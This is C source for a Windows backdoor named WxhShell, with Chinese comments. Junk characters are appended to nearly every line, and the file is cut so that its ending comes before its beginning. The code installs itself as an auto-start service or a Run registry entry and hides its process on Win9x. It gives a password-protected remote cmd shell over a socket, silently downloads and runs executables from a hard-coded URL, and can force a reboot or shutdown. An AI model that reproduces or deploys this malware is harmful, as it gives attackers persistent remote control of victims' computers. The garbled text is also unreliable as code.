  case 'd': { Lm=;Y6'`N  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); X fqhD&g  
    if(Boot(SHUTDOWN)) fP V n;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bi^?SH\  
    else { E^zfI9R  
    closesocket(wsh); oFf9KHorW  
    ExitThread(0); T4HJy|  
    } t:5-Ro  
    break; #,u|*O:  
    } z V\+za,  
  // 获取shell t2s/zxt  
  case 's': { r`.N?  
    CmdShell(wsh); [IQ|c?DxpL  
    closesocket(wsh); msM1K1er  
    ExitThread(0); |PlNVd2  
    break; Hddc-7s  
  } kQ}n~Hn  
  // 退出 94?WL  
  case 'x': { UhpJGO  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); s0^(yEcq  
    CloseIt(wsh); \?d3Pn5`  
    break; k%sH09   
    } 2h'Wu qO  
  // 离开 BUJ\[/  
  case 'q': { /rnI"ze`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); qfyZda0d  
    closesocket(wsh); |7tD&9<  
    WSACleanup(); pX ^^0  
    exit(1); QCF'/G  
    break; ^w.hI5ua)  
        } C=/B\G/.9  
  } {^ b2nOMv  
  } ^Aq0<  
:t{~Mi=T  
  // 提示信息 ]MV8rC[\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <aJQV)]\  
} wDZ<UP=X  
  } 12KC4,C&1i  
UnF8#~  
  return; "(^XZAU#W  
} hd(FOKOP  
`x#Ud)g  
// shell模块句柄 @)?]u U"L  
int CmdShell(SOCKET sock) lGl'A}]#$  
{ &~ y)b`r  
STARTUPINFO si; cKe%P|8  
ZeroMemory(&si,sizeof(si)); C/Khp +  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )ODF6Ag  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]~KLdgru_  
PROCESS_INFORMATION ProcessInfo; 6 :] N%  
char cmdline[]="cmd"; l9Ir@.m  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @#)` -]g  
  return 0; "y,YC M`  
} Xq*^6*E-}  
o@Oz a  
// 自身启动模式 g[3LPKQ  
int StartFromService(void) ]R#:Bq!F  
{ ~ELMLwn.  
typedef struct qW0:q.   
{ sQvRupYRO  
  DWORD ExitStatus; :oP LluW*  
  DWORD PebBaseAddress; HYmC3  
  DWORD AffinityMask; l%0bF9\  
  DWORD BasePriority; " B#|C'   
  ULONG UniqueProcessId; Yf w>x[#e  
  ULONG InheritedFromUniqueProcessId; i#]e&Bru5  
}   PROCESS_BASIC_INFORMATION; mm-s?+&M;  
* x/!i^  
PROCNTQSIP NtQueryInformationProcess; ,Of^xER`  
O1J&Lwpk,  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &12K pEyf  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _\ToA9m  
sjr,)|#[  
  HANDLE             hProcess; ,50  
  PROCESS_BASIC_INFORMATION pbi; !Rn6x $_  
&9p!J(C  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /SD}`GxH  
  if(NULL == hInst ) return 0; cqS :Zq  
qTd[Da G#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <(L@@.87R  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); fFjpQ~0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $;qi -K3j  
G*fo9eu5$  
  if (!NtQueryInformationProcess) return 0; Wwq:\C  
z)qYW6o%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); tS'lJu  
  if(!hProcess) return 0; / (&E  
7A)\:k  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Km` SR^&\  
Gk,Bx1y  
  CloseHandle(hProcess); P[nc8z[  
~[g(@Xt  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 21uK&nVf^l  
if(hProcess==NULL) return 0; ~s!Q0G^G  
a1U|eLmUb  
HMODULE hMod; K}~$h,n  
char procName[255]; zX>W 8P  
unsigned long cbNeeded; >lQo _p(;  
1- KNXGb'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); KA5)]UF`l  
z%;p lMj  
  CloseHandle(hProcess); iC gZ3M]  
:Ha/^cC/3  
if(strstr(procName,"services")) return 1; // 以服务启动 &L ;ocd$  
BU O5g8m{  
  return 0; // 注册表启动 2ym(fk.6{  
} ) 7/Cg  
PsY![CPrW  
// 主模块 -8TJ:#|N  
int StartWxhshell(LPSTR lpCmdLine) #~*v##^vFH  
{ Xn6#q3;^|  
  SOCKET wsl; A6N6e\*  
BOOL val=TRUE; XE}gl&\  
  int port=0; kRp]2^}\s\  
  struct sockaddr_in door; f%Q{}fC{*  
aF{_"X2  
  if(wscfg.ws_autoins) Install(); X'Ss#s>g  
 < $~lFV  
port=atoi(lpCmdLine); M";qo6  
p4' .1.@  
if(port<=0) port=wscfg.ws_port; {VgE0 7r  
IC`3%^  
  WSADATA data; diq}\'f  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; D'"  T'@  
BuJo W@)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   NB-dlv1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); PobX;Z  
  door.sin_family = AF_INET; gq+SM  i=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1K72}Gj)ZL  
  door.sin_port = htons(port); @IT[-d  
j]Auun  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { o>el"0rn.h  
closesocket(wsl); z5+Pi:1w  
return 1; +HK4sA2;  
} L$ZjMJ  
d>NGCe  
  if(listen(wsl,2) == INVALID_SOCKET) { 7FB?t<x  
closesocket(wsl); B VBn.ut  
return 1; ]P4WfV d  
} R=D]:u<P  
  Wxhshell(wsl); V>@[\N[  
  WSACleanup(); U&!TA(Yr  
j#NyNv(jE1  
return 0; @CMI$}!{V  
=~#mF<z5  
} j{@O %fv=  
4ot<Uw5  
// 以NT服务方式启动 %( )d$.F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %go2tv:|W  
{ DeO-@4+qKd  
DWORD   status = 0; FXQWT9Kk~_  
  DWORD   specificError = 0xfffffff; ke4E 1T-1n  
#EzBB*kP  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Dd3f@b[WX  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -;""l{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =o@;K~-  
  serviceStatus.dwWin32ExitCode     = 0; 48^-]};  
  serviceStatus.dwServiceSpecificExitCode = 0; q t"D!S_  
  serviceStatus.dwCheckPoint       = 0; A2_ut6&eb  
  serviceStatus.dwWaitHint       = 0; om3 %\  
o+A7hBM^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); mw @Pl\=  
  if (hServiceStatusHandle==0) return; +C( -f  
H4$qM_N  
status = GetLastError(); 'o AmA=  
  if (status!=NO_ERROR) GABZsdFZ!  
{ xL}i9ozZ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; w^yb`\$  
    serviceStatus.dwCheckPoint       = 0; l45/$G7  
    serviceStatus.dwWaitHint       = 0; LUOjaX  
    serviceStatus.dwWin32ExitCode     = status; JGs: RD'  
    serviceStatus.dwServiceSpecificExitCode = specificError; fr17|#L+s  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ( }-*irSsj  
    return; HiCh:IP7>/  
  } EX8JlA\-W  
%I1@{>OxG  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; PmR].Ohzi  
  serviceStatus.dwCheckPoint       = 0; inP2y?j  
  serviceStatus.dwWaitHint       = 0; c[dSO(=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); gf|uZ9{  
} u'YXI="(  
|z-f 8$  
// 处理NT服务事件,比如:启动、停止 ,OE&e* 1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) tKbxC>w  
{ /cjz=r1U>  
switch(fdwControl) P/%7kD@5;  
{ 6h 0qtXn-  
case SERVICE_CONTROL_STOP: _`$Q6!Z)l  
  serviceStatus.dwWin32ExitCode = 0; ?&B8:<qy;L  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6'qkD<  
  serviceStatus.dwCheckPoint   = 0; ;pnF%co9  
  serviceStatus.dwWaitHint     = 0; bI):-2&s}  
  { qmS9*me {  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mF4W4~"  
  } 5ggyk0  
  return; |v&)O)Jg  
case SERVICE_CONTROL_PAUSE: Xs03..S  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Tz @<hE  
  break; ``MO5${  
case SERVICE_CONTROL_CONTINUE: K'A+V  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; oD)x\ )t8  
  break; uEPp%&D.+  
case SERVICE_CONTROL_INTERROGATE: rQ*+ <`R}  
  break; (i "TF2U,<  
}; m+QS -woHn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #s)f3HU>  
} o9kJ90{D=  
>xWS>  
// 标准应用程序主函数 73Dxf -  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !:{Qbv&T  
{ wNB?3v{n  
^<;W+dWdU  
// 获取操作系统版本 AHf 9H?  
OsIsNt=GetOsVer(); tUu ' gs|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5 jrR]X  
HqGI.  
  // 从命令行安装 ysaRH3M  
  if(strpbrk(lpCmdLine,"iI")) Install(); *zrT;j G  
m&)/>'W   
  // 下载执行文件 Dri6\/0  
if(wscfg.ws_downexe) { $LP(\T([  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _i =*0Q  
  WinExec(wscfg.ws_filenam,SW_HIDE); Z{8%Cln  
} RdCGK?s  
aDS:82GMQ  
if(!OsIsNt) { lrrTeE*  
// 如果时win9x,隐藏进程并且设置为注册表启动 *G"hjc$L  
HideProc(); X3:1KDVsV  
StartWxhshell(lpCmdLine); "~r<ZG  
} t]xz7VQ  
else &3vm @  
  if(StartFromService()) >,6  
  // 以服务方式启动 1[P}D~ nQ  
  StartServiceCtrlDispatcher(DispatchTable); H_xHoCLI  
else c <TEA  
  // 普通方式启动 Ha v&vV  
  StartWxhshell(lpCmdLine); 7qC /a c  
;qmnG3;Q  
return 0; ;>,B(Xz4i  
} qq)5)S  
ZflB<cI  
s_^`t+5  
ko%mZ0Y  
=========================================== F|%PiC,,qO  
}Qo]~/  
b9g2mWL\T  
*|&Y ,H?  
g *5_m(H  
2dts}G  
" mnTF40l  
bTs2$81[  
#include <stdio.h> HT7,B(.}  
#include <string.h> 1wgL^Qz@  
#include <windows.h> v.ZUYa|  
#include <winsock2.h> It*U"4lgi  
#include <winsvc.h> Tv%7=P;r  
#include <urlmon.h> 8)>>EN8 R  
GcM1*)$ 4  
#pragma comment (lib, "Ws2_32.lib") :tWk K$  
#pragma comment (lib, "urlmon.lib") PYQ0&;z  
lDS y$  
#define MAX_USER   100 // 最大客户端连接数 LWrYK i  
#define BUF_SOCK   200 // sock buffer ("`"?G  
#define KEY_BUFF   255 // 输入 buffer d=1\=d/K  
=svFw&q"  
#define REBOOT     0   // 重启 JMAdsg/  
#define SHUTDOWN   1   // 关机 R0t!y3r&N  
,e'r 0  
#define DEF_PORT   5000 // 监听端口 /#9P0@Y  
|=5zI6pT  
#define REG_LEN     16   // 注册表键长度 "8Dm7)nB  
#define SVC_LEN     80   // NT服务名长度 lz^Vi!|p  
uh\G6s!4/  
// 从dll定义API 5K Ij}VN  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (N/u@M  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =Ti!9_~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); A6z2KVk  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); S{llpp{E  
1 -Z&/3T]  
// wxhshell配置信息 O 0}uY:B  
struct WSCFG { 7\@c1e*e  
  int ws_port;         // 监听端口 IlJ"t`Z9)  
  char ws_passstr[REG_LEN]; // 口令 :1d;jx>  
  int ws_autoins;       // 安装标记, 1=yes 0=no <gPM/ 4$G  
  char ws_regname[REG_LEN]; // 注册表键名 k7uX!}  
  char ws_svcname[REG_LEN]; // 服务名 ~,,r\Y+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 rDl/R^w"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ll__A|JQ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Up Z 9g"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no hUpour |b  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (~Z&U  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [l=@b4Og  
,RV>F_  
}; nLL2/!'n  
.QY>@b\  
// default Wxhshell configuration TY/'E#.  
struct WSCFG wscfg={DEF_PORT, Pk&=\i<  
    "xuhuanlingzhe", OcB&6!1u  
    1, ;$tdn?|  
    "Wxhshell", @de  ZZ  
    "Wxhshell", pZ Uy (  
            "WxhShell Service", ts=D  
    "Wrsky Windows CmdShell Service", } :?*n:g5  
    "Please Input Your Password: ", DXJw)%G w  
  1, y/@Bhzc  
  "http://www.wrsky.com/wxhshell.exe", t!4 (a0\$F  
  "Wxhshell.exe" hq4&<Zr(  
    }; P%B|HnG^  
mN-O{k0\  
// 消息定义模块 +:Xg7H*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; FM%WMyb[  
char *msg_ws_prompt="\n\r? for help\n\r#>"; wmpQF<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; qKSR5 #  
char *msg_ws_ext="\n\rExit."; iK2f]h  
char *msg_ws_end="\n\rQuit."; WiH8j$;xu  
char *msg_ws_boot="\n\rReboot..."; y%|Ez  
char *msg_ws_poff="\n\rShutdown..."; aP(~l_  
char *msg_ws_down="\n\rSave to "; pZ $>Hh#  
0~<?*{~  
char *msg_ws_err="\n\rErr!"; h0-.9ym  
char *msg_ws_ok="\n\rOK!"; ;{8 X+H  
XN-1`5:4I  
char ExeFile[MAX_PATH]; <e&v[  
int nUser = 0; M19O^P>[  
HANDLE handles[MAX_USER]; 0aq{Y7sYU  
int OsIsNt; J+CGhk  
N9ipwr'P  
SERVICE_STATUS       serviceStatus; u/k' ry=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; NXLb'mH~  
C!_=L?QT^  
// 函数声明 eG+$~\%Fub  
int Install(void); O-0 5.  
int Uninstall(void); 'RwfW|~6  
int DownloadFile(char *sURL, SOCKET wsh); Qraq{'3  
int Boot(int flag); yl*%P3m|  
void HideProc(void); aQH]hLvs  
int GetOsVer(void); A|Ft:_Y  
int Wxhshell(SOCKET wsl); ZYY`f/qi  
void TalkWithClient(void *cs); qAp <OJ  
int CmdShell(SOCKET sock); };r EN`L  
int StartFromService(void); gWro])3  
int StartWxhshell(LPSTR lpCmdLine); m, +E5^  
K}q5,P(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); },<Y \  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); l_((3e[)  
Vh01y f  
// 数据结构和表定义 lB_4jc  
SERVICE_TABLE_ENTRY DispatchTable[] = nzO -\`40  
{ Mg0ai6KD  
{wscfg.ws_svcname, NTServiceMain}, f:nXE&X[  
{NULL, NULL} UQhD8Z'I.  
}; U4Zx1ieCKH  
HI1|~hOb'  
// 自我安装 /g0' +DP  
int Install(void) <bn|ni|c"  
{ 7aRy])x  
  char svExeFile[MAX_PATH]; ;Ym6ey0t  
  HKEY key;  Z a,o  
  strcpy(svExeFile,ExeFile); 0(C[][a*u  
(gdzgLHy  
// 如果是win9x系统,修改注册表设为自启动 UQI!/6F  
if(!OsIsNt) { d:Z|It  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )-XD= ]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8xj_)=(sV!  
  RegCloseKey(key); )4o k@^.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { { zL4dJw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F:Vl\YZ  
  RegCloseKey(key); 8\)4waz$  
  return 0; 3Zz_wr6  
    } sw$JY}Q8x  
  } MB5V$toC  
} >!PM5%G  
else { mE+=H]`.p  
PMiu "  
// 如果是NT以上系统,安装为系统服务 ?mi}S${g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `&)  
if (schSCManager!=0) 7lOAu]Zx  
{ Q=<&ew  
  SC_HANDLE schService = CreateService u3cg&lEgT  
  ( -R$Q`Xw  
  schSCManager, Us6~7L00  
  wscfg.ws_svcname, *Qngx  
  wscfg.ws_svcdisp, %YuFw|wO  
  SERVICE_ALL_ACCESS, 0m4#{^Y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , l7WZ" 6d  
  SERVICE_AUTO_START, /w5c:BH  
  SERVICE_ERROR_NORMAL, %}  
  svExeFile, 5OTZa>H  
  NULL, %h_N%B$7c1  
  NULL, D1]?f`  
  NULL, 8XfOM f~d`  
  NULL, svC m }`  
  NULL EAs^i+/  
  ); RR`\q>|  
  if (schService!=0) zYis~ +  
  { D.F1^9Q  
  CloseServiceHandle(schService); 3ug>,1:6-  
  CloseServiceHandle(schSCManager); 2_6@&2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); s ldcI@Z  
  strcat(svExeFile,wscfg.ws_svcname); f'j<v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?Rh[S  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 80U(q/H%9  
  RegCloseKey(key); )Zvn{  
  return 0; $?&distJ  
    } !( _qM  
  } I'J-)D`  
  CloseServiceHandle(schSCManager); UHI<8o9  
} /Zz [vf  
} }Zp[f6^Q  
meD83,L~N  
return 1; kCZ'p  
} Fe2iG-ec  
8P%Jky&(  
// 自我卸载 EBmkKiI;  
int Uninstall(void) ?;rRR48T9E  
{ 9:!V":8q  
  HKEY key; >(gbUW  
B .?@VF  
if(!OsIsNt) { 4E$6&,\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H/0b3I^  
  RegDeleteValue(key,wscfg.ws_regname); |i(@1 l  
  RegCloseKey(key); 9]S;%:64  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8[)"+IFN  
  RegDeleteValue(key,wscfg.ws_regname); 9*a"^  
  RegCloseKey(key); oC TSV  
  return 0; LD;! s  
  } 7U)w\A;~  
} g s%[Cv  
} Mn*v&O:  
else { :Q;mgHTNz  
hC!8-uBK5<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); m4c2WY6k  
if (schSCManager!=0) vf!lhV-UG+  
{ YQ-V^e6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); S2V+%Z _J  
  if (schService!=0) *Fd(  
  { ZjgfkZAS  
  if(DeleteService(schService)!=0) { r#mH[|@W~  
  CloseServiceHandle(schService); G'iE`4`2  
  CloseServiceHandle(schSCManager); tRR<4}4R  
  return 0; _]kw |[)  
  } iT~ gt/K  
  CloseServiceHandle(schService); k~iA'E0-  
  } jq[Q>"f  
  CloseServiceHandle(schSCManager); .|LY /q\A  
} 9'O@8KB_  
} \k%j  
RPTIDA))  
return 1; ?[8s`caK.  
} ?2S<D5M Sb  
&*qAB)* *  
// 从指定url下载文件 ou\~^  
int DownloadFile(char *sURL, SOCKET wsh) kybDw{(}gc  
{ jrO{A3<E  
  HRESULT hr; B5qlU4km&  
char seps[]= "/"; Tu=~iQ  
char *token; fp$U%uj  
char *file; 2()/l9.O'  
char myURL[MAX_PATH]; Y-v6M3$  
char myFILE[MAX_PATH]; ^B'N\[  
$btk48a7  
strcpy(myURL,sURL); P\2x9T  
  token=strtok(myURL,seps); N}\3UHtO  
  while(token!=NULL) $*+`;PG-  
  { ?fvK<0S`  
    file=token; r4pR[G._  
  token=strtok(NULL,seps); &bwI7cO  
  } eq4Yc*|9  
M^y5 Dep  
GetCurrentDirectory(MAX_PATH,myFILE); 1v9 #Fr Y  
strcat(myFILE, "\\"); <)$JA  
strcat(myFILE, file); q} p (p( N  
  send(wsh,myFILE,strlen(myFILE),0); z4s{a(Tsd  
send(wsh,"...",3,0); 26-K:"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); bSk)GZyH\d  
  if(hr==S_OK) $G#)D^-5G  
return 0; +Y440Tz  
else gYa (-o  
return 1; bP1]:^ x@W  
?_@Mg\Hc  
} QjFE  
.10$n*  
// 系统电源模块 6hf6Z 3  
int Boot(int flag) TE@bV9a  
{ ds'7zxy/  
  HANDLE hToken; cD9axlJ  
  TOKEN_PRIVILEGES tkp; I~>Ye<g#  
+`~kt4W  
  if(OsIsNt) { 6F?U:N#<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); j7=x&)qbx  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); x|A{|oFC  
    tkp.PrivilegeCount = 1; 6iJ\7  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 'n7Ld6%1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7HEUmKb"  
if(flag==REBOOT) { $McbVn)~f  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @<=<?T> 1  
  return 0; 0`kaT ?>  
} K7] +. f  
else { *l8:%t\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) t|cTl/i 4  
  return 0; hdy N   
} -e_L2<7  
  } Mzj|57:gx  
  else { "S0WFP\P+  
if(flag==REBOOT) { Tf.DFfV#y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Yi#U~ h  
  return 0; M>|R&v  
} eW;0{P  
else { oTxE]a,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) e'5sT#T9l  
  return 0; \t%rIr  
} m7.6;k.  
} +{H0$4y  
\WZ]'o6  
return 1; >vc$3%L[$  
} VK]sK e  
s92SN F}g  
// win9x进程隐藏模块 2sahb#e )  
void HideProc(void) .L))EB  
{ 9\a;75a  
"tg?V  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4xzoA'Mb@  
  if ( hKernel != NULL ) &265 B_'D  
  { N Uo   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); SR*KZ1U  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); U|)CZcM  
    FreeLibrary(hKernel); _Rm1-,3  
  } [BKX$A:Y  
 j#YPo  
return; (2p<I)t  
} 3YJa3fflK  
q# t&\M.U  
// 获取操作系统版本 S3.76&  
int GetOsVer(void) geSH3I   
{ }(Dt,F`  
  OSVERSIONINFO winfo; *_!}g ]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,p[9EW*8  
  GetVersionEx(&winfo); {K42PmQL  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @_C?M5v  
  return 1; p2uZ*sY(D  
  else pn-`QB:{h  
  return 0; 8;1,saA_9  
} !t!\b9=  
b[`fQv$G  
// 客户端句柄模块 2mfKy9QxO  
int Wxhshell(SOCKET wsl) fFJu]  
{ %<[U\TL`  
  SOCKET wsh; b*W01ist  
  struct sockaddr_in client; LV!<vakCK  
  DWORD myID; HMPb%'U~  
DNy 6Kw  
  while(nUser<MAX_USER) 8AuOe7D9A  
{ Q,< V)  
  int nSize=sizeof(client); VVDd39q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); oeIza<:=R  
  if(wsh==INVALID_SOCKET) return 1; "=3bL>\<  
%Ae43  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :|PgGhW  
if(handles[nUser]==0) |%c"Avc  
  closesocket(wsh); WHKe\8zWq  
else ?)?}^  
  nUser++; #Zt(g(T  
  } e|S_B*1*0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); iFkXt<_A  
_ 2E*  
  return 0; #/LU@+  
} qpXsQim$~  
Y;[+^J*a  
// 关闭 socket {bD:OF  
void CloseIt(SOCKET wsh) p^THoF'~T  
{ ,)%$Zxng  
closesocket(wsh); vG'I|OWg  
nUser--; *d mS'/  
ExitThread(0); ~3,k8C"pRq  
} mo  
q>Kzl/~c.P  
// 客户端请求句柄 Hh{pp ^  
void TalkWithClient(void *cs) t?;\'  
{ Dwg_#GSr  
y,cz;2  
  SOCKET wsh=(SOCKET)cs; s?~lMm' !  
  char pwd[SVC_LEN]; ]x:>!y  
  char cmd[KEY_BUFF]; 3T84f[CFJ  
char chr[1]; br4?_,  
int i,j; 1XPYI  
}\3jcnn  
  while (nUser < MAX_USER) { cPbAR'  
?3Y~q;I]O  
if(wscfg.ws_passstr) { EEdU\9DH(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); SKeX~uLz  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qEajT"?  
  //ZeroMemory(pwd,KEY_BUFF); ~x6<A\  
      i=0; "#G`F  
  while(i<SVC_LEN) { -cP7`.a  
crl"Ec  
  // 设置超时 3+oGR5gIN  
  fd_set FdRead; pRH'>}rtuH  
  struct timeval TimeOut; =u 3YRqz  
  FD_ZERO(&FdRead); !@4 i:,p@  
  FD_SET(wsh,&FdRead); W|4h;[w  
  TimeOut.tv_sec=8; 28x:]5=jb  
  TimeOut.tv_usec=0; Y=\:fa  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); KuJNKuHa.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); l _gJC.  
(L'|n *Cr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Qs\*r@6?  
  pwd=chr[0]; 8"yZS)09  
  if(chr[0]==0xd || chr[0]==0xa) { Wf:LYL  
  pwd=0; pX?/=T@ Bw  
  break; )zK@@E  
  } 9>T5~C'*  
  i++; P87Lo4R d  
    } Q.} guI\  
fprP$MbI  
  // 如果是非法用户,关闭 socket ae0t *;~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (d>}Fp  
} DVz_;m6)  
p-XO4Pc 6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L25%KGg' o  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )18C(V-x  
ToX--w4  
while(1) { Jp"yb`w  
o1Nfn'!3/>  
  ZeroMemory(cmd,KEY_BUFF); LDh,!5G-M  
}*?,&9/_)  
      // 自动支持客户端 telnet标准   Fxv5kho  
  j=0; mnL+@mm  
  while(j<KEY_BUFF) { nZ % %{#T7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5jAS1XG  
  cmd[j]=chr[0]; %00cC~}4  
  if(chr[0]==0xa || chr[0]==0xd) { (z  9M  
  cmd[j]=0; )f,9 h  
  break; m^gxEPJK  
  } #7['M;_  
  j++; `!Yd$=*c_&  
    } =z[$ o9  
%U6A"?To  
  // 下载文件 DIw9ov>k  
  if(strstr(cmd,"http://")) { y}1Pc*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); * -(8Z>9  
  if(DownloadFile(cmd,wsh)) 6{!Cx9V  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); mx5#K\  
  else qP BOt;N  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )kDB*(?  
  } n?*r,)'  
  else { xauMF~*  
=SD^Jl{H  
    switch(cmd[0]) { ;z T3Fv\  
